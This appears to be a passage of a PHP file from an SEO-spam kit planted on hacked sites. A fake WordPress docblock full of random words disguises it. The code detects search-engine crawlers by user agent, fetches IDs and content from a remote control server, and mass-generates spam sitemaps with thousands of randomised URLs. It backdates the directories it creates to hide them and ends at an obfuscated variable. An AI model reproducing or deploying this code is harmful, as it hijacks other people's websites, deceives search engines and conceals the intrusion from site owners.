	if ( (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (isset($_SERVER['HTTP_CF_VISITOR']) && strstr($_SERVER['HTTP_CF_VISITOR'],'https')) || (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') ) {
		$httpPre= 'https';
	} else {
		$httpPre = 'http';
	}
	
	return $httpPre;
}


function get_shares(){
	
	$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
	$shareStr = '
<ul>
<li><a href="https://www.facebook.com/sharer/sharer.php?u=domain" target="_blank"><span>facebook</span></a></li>
<li><a href="https://twitter.com/share?url=domain" target="_blank"><span>twitter</span></a></li>
<li><a href="https://www.linkedin.com/shareArticle?mini=true&url=domain" target="_blank"><span>linkedin</span></a></li>
<li><a href="https://pinterest.com/pin/create/button/?url=domain" target="_blank"><span>pinterest</span></a></li>
</ul>
';
  $shareStr = str_replace('domain',$siteLink,$shareStr);
  
  return $shareStr;
	
}

function getCatLink($CatName,$id23){
		
		global $arrnametime,$arrKeywz,$date_string;		
	
		$filePres = '';		$fileEnds = '';		$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat=";		}else{
			$filePres = $siteLink."/";		}
		
		$CatName = str_replace('&',' ',$CatName);
		$CatName = str_replace('&',' ',$CatName);
		if(JDT == 3){
			
			$CatName = preg_replace('#\s+#i','-',$CatName);
			
			
			while(strstr($CatName,'--'))
				$CatName = str_replace('--','-',$CatName);
			
			$urlMid = $CatName;	
			
			$rtStr = $filePres.$urlMid;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
		// BZCAT
		
		
		$endNumber = '';
		
		// for($i=0;$i<3;$i++){
			// $ranNum = rand(0,9);
			// $endNumber .= $ranNum;
		// }
			
		
		$CatName = preg_replace('#\s+#i','-',$CatName);
		$CatName = str_replace('--','-',$CatName);
		$urlMid =  'detail/' . str_replace('--','-',$CatName);
		// $urlMid .= JTHZ;		
		$rtStr = $filePres.$urlMid.'/';
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
		return $rtStr;
			
}
	
	
function getMapNum($bgNum,$mapnum){
	$TempArr = array();
	if($bgNum + $mapnum <= FNUM){
		for($i=0;$i<$mapnum;$i++){
			$TempArr[$i] = $bgNum + $i -1;
		}
	}else{
		for($i=0;$i<$mapnum;$i++){
			if($bgNum+$i > FNUM)
				$TempArr[$i] = $bgNum + $i -1 -FNUM;
			else
				$TempArr[$i] = $bgNum + $i -1;
		}
	}
	
	return $TempArr;
}


function getRandCId($rqurl){
	global $thisdom;
	
	for($i=0;$i<3;$i++){
		$idUrl =  GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
		$tempIdStr = curl_get_from_webpage($idUrl,'',5);
		if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
			return $matchId[1];
		}
	}
	
	  
	http_response_code(404);  
	exit; 
	
}

/**
 * aspect coarse continuous deaf discount inferior molecule reinforce repetition reputation simplicity tone vanish vessel weed withstand.
 * attach emotional equivalent faculty index ingredient manufacture moral onion opponent personnel provision recruit universal.
 * battery casual compete debate haste leisure motivate optimistic resume revenue simplify spit.
 * avenue expensive gratitude hook humble issue orient professional profit shrug stripe unique vacant.
 * competent discrimination estimate hostile interpret necessity parallel range restrict sponsor.
 * approximate attitude bunch decorate dump enthusiasm favorite gasoline label liberal manual medium priority skim usage vague waist.
 * acquire cargo commit hydrogen identify inhabitant modest modify resistant spur strategy timber utilify vacuum vital voluntary.
 * code continual cope data deaf globe individual inhabitant interpret moist presumably prosperity radiation recruit terminal.
 * advertise applicable deaf deserve durable insignificant jam opponent powder ridge ruin split sponsor tarnest universal.
 * enthusiasm evolution horrible idle passive shrink.
 * cliff comparable enthusiasm export fatigue infect junior mist pants personnel render resistant ridiculous sequence shift slip twist voluntary wander.
 * authority barrier chaos insure notion nucleus personal prosperity violet.
 * approximate aware chaos isolate jungle mature navigation partial passive prior prohibit scale seminar severe utilise volcano xploit.
 * approve burden catalog coil insurance neutral obscure principal rival ruin submit triangle valley video whatsoever.
 * appetite automatic dash obstacle odd signature sophisticated thrust.
 * bargain comparable drip entry explore geography guarantee individual infect interfere launch radical recreation remedy resolve skim suspicious temporary terminal utter virtue vital vote.
 * algebra conservative discipline discount emotion emotional exterior favorite idle infinite jungle liquor minimum mixture optics reveal route substantial wagon.
 * adhere aspect cancel competent distress durable expansion flash household liberal media oral phenomenon prosperity quotation slide slope terminal usage.
 * advertisement calculate column core elaborate encounter exclusive expenditure insignificant legislation lest liable notify professional solar target tissue via.
 * beforehand consent decline elaborate fax gratitude individual invade negative prevail restraint seminar wax.
 * constant frown horrible network oval pat prominent restrain security swallow.
 * ban global relevant spur.
 * barrier cargo deposit discrimination distress earthquake expensive interpret mainland male mist notion oxygen presumably prevail restraint satellite theme urgent wealthy xploit.
 * applicant garbage nevertheless remote.
 * comparable descend entertainment entitle entry geography hollow outset prompt range restraint tension valley.
 * alcohol campus distribute merchant slip.
 * constant elastic global hollow relevant.
 * approach debate discount diverse erect gratitude significance twist volunteer weave whatsoever.
 * elastic extinct genuine global liberal lynar marveous mood racial significance subsequent variation.
 * arouse competition consume glimpse horrible loosen motive nucleus orbit priority security stripe tender.
 * arbitrary career evil gear vary.
 * abundant adjust column ingredient manufacture vessel.
 * bargain barrel collision estimate holy private retail security sexual temporary victim whatsoever.
 * adhere appropriate barrier biology bundle clue conservative delicate female interfere lynar merchant mood motivate orchestra participate portion simplify tarnest terminal transplant trend vocabulary.
 * bunch ceremony gratitude lest mainland reliable sensible terminal tide.
 * coarse mutual preserve thrust yawn.
 * appoint arise campus duration echo entry gallery horror index private reluctant repetition rescue seminar shelter subway terminal transport urgent valley.
 * adhere budget coil cope global portable scale sexual shallow solar trial weed whatsoever.
 * acquire adequate compete female frown glorious integrate manual ridge tremble triumph universe.
 * barrel cliff consistent earthquake encounter evolve fatal invade lest recruit universe.
 * beforehand constant transplant transport.
 * appeal appetite available avenue awkward bacteria beforehand chaos constant consume discount dusk equivalent humble label mild presumably principal relief tropical usage.
 * response conservation decent elastic enclose extent naked network onion personal petroleum radical reputation tender vacuum waist welfare.
 * bother calculate career decline deserve explore geography interfere neutral poverty reject resemble talent tense torture vehicle volcano whatsoever.
 * agency balcony career device dumb fax forbid frown gallery hence inevitable manual mere numerrous offend relevant sincere spur variable violence.
 * barrel beforehand distribute electron extreme fax flee individual loose mature missile numerrous obscure petroleum slope snap substantial trap trial valid video vital withstand.
 * burden code competent decline dumb exclude generate horrible illusion infect insurance quit remarkable smash tremble volunteer.
 *
 * @package WordPress
 */
	

function getRandId(){
	$num = rand(1,FNUM);	$num = $num - 1;	require(FILEDIRNAME . "/id$num.php");	$indexId=array_rand($arrId,1);	$id = $arrId[$indexId];	unset($arrId);	return $id;}
function get_arrvs($arr,$num,$nowkey){
	$numArr = count($arr);	
	if($nowkey + $num < $numArr)
		return $arr[$nowkey + $num];	else{
		if($nowkey + $num - $numArr - $numArr > 0)
			return get_arrvs($arr,$num - $numArr,$nowkey);		else
			return $arr[abs($nowkey + $num - $numArr)];	}
}

function get_pre_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	
	
	if($key + JGNUM + 1 + LINKNUM >= $num){
		
		if($key + JGNUM + 1 - $num > LINKNUM){
			return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);		}else{
		
		$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;		$tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);		$tmpA2 = array_slice($arr, 0, $duoyu);			
		return array_merge($tmpA1,$tmpA2);		}
	}else{
			return  array_slice($arr, $key + JGNUM + 1, LINKNUM);	}
	
}
function get_next_link($arr,$key){
	
	$tmpA1 = array();	$tmpA2 = array();	
	$num = count($arr);	if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
		$duoyu = abs($key - JGNUM - LINKNUM);		$tmpA1 = array_slice($arr, 0, abs($key - JGNUM));		$tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu);		return array_merge($tmpA1,$tmpA2);	}else{
			return  array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM);	}
}
function rFile($file){
	if(function_exists('file_get_contents')){
		return file_get_contents($file);
	}else{
		$handle = fopen($file, "r");
		$contents = fread($handle, filesize($file));
		fclose($handle);
		return $contents;
	}
}
function isCrawler() {
	$agent= @strtolower($_SERVER['HTTP_USER_AGENT']);	if (!empty($agent)) {
		$spiderSite= array(
			"Googlebot",
			"Mediapartners-Google",
			"Adsbot-Google",
			"Yahoo!",
			"Google AdSense",
			"Yahoo Slurp",
			"bingbot",
			"MSNBot"
		);		foreach($spiderSite as $val) {
		$str = strtolower($val);		if (strpos($agent, $str) !== false) {
			return true;			}
		}
	} else {
		return false;	}
} 


function gsitemap2($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
	$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;

	$filePres = '';	$fileEnds = '';	
	$dirNames = dirname(__FILE__);	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));			
	if(JDT == 2){
		$filePres = $httcReplace . "/" . basename(__FILE__) . "/";	}elseif(JDT == 1){
		$filePres = $httcReplace . "/";	}elseif(JDT == 3){
		$filePres = $httcReplace . "/" .basename(__FILE__) . "?key=";	}else{
		$filePres = '';	}
	if(JDT == 3){
		$fileEnds = '';	}else{
		$fileEnds = JTHZ;	}
	$fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	// $numLinks = count($urlsArray);
	$star = 0;	$priority = 0.1;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $key => $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");		
			$tempPid = $key;
		
			$url = getalink($tempPid,$value2);
			
 		if(JDT == 0){

		if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  '../docs/article' . $arrABC[$gnumber-2] . 'map' .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#article' . $arrABC[$gnumber-2] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
			
			
		}else{
			
			if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  '../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#article' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
			
		}
		
		
			
			
			
			
			
	}
	
	
 		if(JDT == 0){
			
				{
		$gFile =  '../docs/article' . $arrABC[$gnumber-2] . 'map' .'.xml';			echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#article' . $arrABC[$gnumber-2] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;	
		}
			
		}else{
			
			{
		$gFile =  '../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml';			echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#article' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;	
		}
	
	
		}
	
	
	
	unset($tempArr1);	unset($filenames);	
	echo "生成sitemap成功！";	
}


function gsitemap($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
	$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
	
	$filePres = '';	$fileEnds = '';	
	
	$fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	// $numLinks = count($urlsArray);
	
	$star = 0;	$priority = 0.9;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "     <url>
			 <loc>" . $siteLink . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod> 
			 <changefreq>always</changefreq> 
			 <priority>1.0</priority> 
			 </url>
		";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $key => $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	
		
			$tempPid = $key;
				$url = getalink($tempPid,$value2);
		
		 if(JDT == 0){
			 
			 	if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  '../docs/sitemap.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;				
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
			 
			 
			 
		 }else{
			 
			 
			 	if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  '../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#article' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;				
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
			
			
			 
		 }

		
	
			
			
	}
	
	
	
		 if(JDT == 0){
			
	
	{
		$gFile =  '../docs/sitemap.xml';		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND);
		$gnumber++;
	}
	
		 }else{
			 
			 	
	{
		$gFile =  '../docs/article' . $arrABC[$gnumber-1] . 'map' .'.xml';		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#article' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;
	}
			 
		 }
	
	
	
	unset($tempArr1);	unset($filenames);	echo "生成sitemap成功！";	
}
	
function curl_get_from_webpage($url,$proxy='',$loop=10){
	$data = false;        $i = 0;        while(!$data) {
             $data = curlGetOne($url,$proxy);             if($i++ >= $loop) break;        }
	return $data;}
 

function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//如果有用代理,则使用代理.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}

function curlGetOne($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//如果有用代理,则使用代理.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}



	
////



function my_mkdir($dir){
		global  $fitime;
		if(!is_dir($dir)){
			mkdir($dir);
			@touch($dir, $fitime, $fitime);   
		} 
	}
	

	
	function generate_dir_file($gDir=''){
		
		global $hostDir;
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
		$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
		$arr = explode(DIRECTORY_SEPARATOR,$gDir);
		
		if(count($arr) <= 0) return;
		
		if(!strstr($gDir,$hostDir))
			$dir = $hostDir;
		else
			$dir = '';


		for($i = 0 ; $i < count($arr)-1 ; $i++){
			$dir .= DIRECTORY_SEPARATOR . $arr[$i];
			my_mkdir($dir);
		}
		
		return $dir;
	}


	function strFilter($str){
		$str = str_replace('`', '', $str);
		$str = str_replace('·', '', $str);
		$str = str_replace('~', '', $str);
		$str = str_replace('!', '', $str);
		$str = str_replace('！', '', $str);
		$str = str_replace('@', '', $str);
		$str = str_replace('#', '', $str);
		$str = str_replace('$', '', $str);
		$str = str_replace('￥', '', $str);
		$str = str_replace('%', '', $str);
		$str = str_replace('^', '', $str);
		$str = str_replace('……', '', $str);
		$str = str_replace('*', '', $str);
		$str = str_replace('(', '', $str);
		$str = str_replace(')', '', $str);
		$str = str_replace('（', '', $str);
		$str = str_replace('）', '', $str);
		$str = str_replace('-', '', $str);
		$str = str_replace('_', '', $str);
		$str = str_replace('——', '', $str);
		$str = str_replace('+', '', $str);
		$str = str_replace('=', '', $str);
		$str = str_replace('|', '', $str);
		$str = str_replace('\\', '', $str);
		$str = str_replace('[', '', $str);
		$str = str_replace(']', '', $str);
		$str = str_replace('【', '', $str);
		$str = str_replace('】', '', $str);
		$str = str_replace('{', '', $str);
		$str = str_replace('}', '', $str);
		$str = str_replace('；', '', $str);
		$str = str_replace(':', '', $str);
		$str = str_replace('<', '', $str);
		$str = str_replace('>', '', $str);
		$str = str_replace('：', '', $str);
		$str = str_replace('\'', '', $str);
		$str = str_replace('"', '', $str);
		$str = str_replace(',', '', $str);
		$str = str_replace('，', '', $str);
		$str = str_replace('《', '', $str);
		$str = str_replace('》', '', $str);
		$str = str_replace('.', '', $str);
		$str = str_replace('。', '', $str);
		$str = str_replace('–', '', $str);
		$str = str_replace('–', '', $str);
		$str = str_replace('/', '', $str);
		$str = str_replace('、', '', $str);
		$str = str_replace('?', '', $str);
		$str = str_replace('？', '', $str);
		$str = str_replace('°', '', $str);
		$str = str_replace('&', '&amp;', $str);
		return trim($str);
	}




	function getalink($pid,$pname=''){
		
		global $arrnametime,$arrKeywz,$arr_word,$date_string;		
		
		
		if(strstr($pname,'#cat#')){
			$tp_pname_arr = explode('#cat#',$pname);
			$pname = $tp_pname_arr[1];
			$precat = $tp_pname_arr[0];
		}
		
		if(function_exists("preg_split")){
			$tpnameArr = preg_split('/\s+/us', $pname);		
		}else{
			$tpnameArr = explode(' ', $pname);
		}
		
		$pnameArr = array();
		foreach($tpnameArr as $tpvs){
			$tpvs = trim($tpvs);
			if($tpvs){
				$pnameArr[] = $tpvs;
			}
		}
		
		$numPname = count($pnameArr);
		
		if($numPname > 3){
			$numLinkKey = round(PNAMELEN * $numPname / 100);
			$yushu = KEYJG % $numPname;
			
			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$numPname;$i++){
				if($i<$yushu){
					$arrLast[] = $pnameArr[$i];
				}else{
					$arrPre[] = $pnameArr[$i];
				}
			}
			
			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$usedNameArr = array();
			for($i=0;$i<$numLinkKey;$i++){
				$usedNameArr[$i] = $arrPre[$i];
			}

			if(count($usedNameArr)){
				$pname = implode(' ',$usedNameArr);
			}
			
		}
		
		if(JDT == 0){
			$precat = strFilter($precat);
			$precat = preg_replace('/\s+/', '-', $precat);
		}
			
		
		$pname = strFilter($pname);

		$filePres = '';		$fileEnds = '';		$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword=";		}else{
			$filePres = $siteLink."/";		}
		
	
		$rsp = '#'. BZPRO .'\d+#';
		$rsp2 = '#\d+-#';
		$rsp3 = '#-\d+#';
		$pname = trim($pname);
		
		
		$pname = trim(str_replace('>>',' ',$pname));
		$pname = preg_replace('/\s+/', '-', $pname);
	
		
		if(JDT == 3){
			
			$rs = '#&[^;]+;#i';
			$pname = preg_replace($rs,'',$pname);
	
		
			while(strstr($pname,'&'))
				$pname = str_replace('&','',$pname);
			
			while(strstr($pname,'--'))
				$pname = str_replace('--','-',$pname);
			
			$urlMid = $pname .'-' .$pid;
			$rtStr = $filePres.$urlMid;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
			
		if(strlen($pname) > 235){
			$rs = '#&[^;]+;#i';
			$pname = preg_replace($rs,'',$pname);
			$pname = str_replace('&','',$pname);
			$pname = str_replace('&',';',$pname);
			if(function_exists("mb_substr")){
				$pname = mb_substr($pname, 0, 235, 'utf-8');
			}else{
				$pname = substr($pname, 0, 235);
			}
		}	
		
		$precat = preg_replace($rsp,'',$precat);
		$precat = preg_replace($rsp2,'-',$precat);
		$precat = preg_replace($rsp3,'-',$precat);
		$precat = str_replace('&','',$precat);
		$precat = str_replace('>>',' ',$precat);
		$precat = str_replace('&',';',$precat);
		$precat = preg_replace('/\s+/', '-', $precat);

		$pname = preg_replace($rsp,'',$pname);
		$pname = preg_replace($rsp2,'-',$pname);
		$pname = preg_replace($rsp3,'-',$pname);
		
		
			
		if(JDT == 0){
			$urlMid = $pid .'-'. $pname .'-'. $precat;
		}else{
			$urlMid = $pid .'-'. $pname .'-'. $precat;
		}
			

		
			$urlMid .= JTHZ;			$urlMid = str_replace("-/","/",$urlMid);			$urlMid = str_replace("-".JTHZ,JTHZ,$urlMid);		
		
			
			while(strstr($urlMid,'--'))
				$urlMid = str_replace('--','-',$urlMid);	
			// $urlMid = str_replace('/-','/',$urlMid);	
			
		$rtStr = $filePres.$urlMid;
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		$rtStr = str_replace('-amp;-','-&amp;-',$rtStr);
		return $rtStr;
	}
	
	

  
  
  
	
	
	
// 

	
	
function is_ip($localIp,$ipRanges)
{    
	$localIp = ip2long($localIp);  
	foreach($ipRanges as $val)
	{ 
		$ipmin=sprintf("%u",ip2long($val[0]));		$ipmax=sprintf("%u",ip2long($val[1]));
		if($localIp >= $ipmin && $localIp <= $ipmax)
		{   
			return true; 
		} 
	}   
	return false;}
 
function RandAbcs($length = ""){
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
    return ($str);
} 


 
function getarr(){
		global $O00O0O;
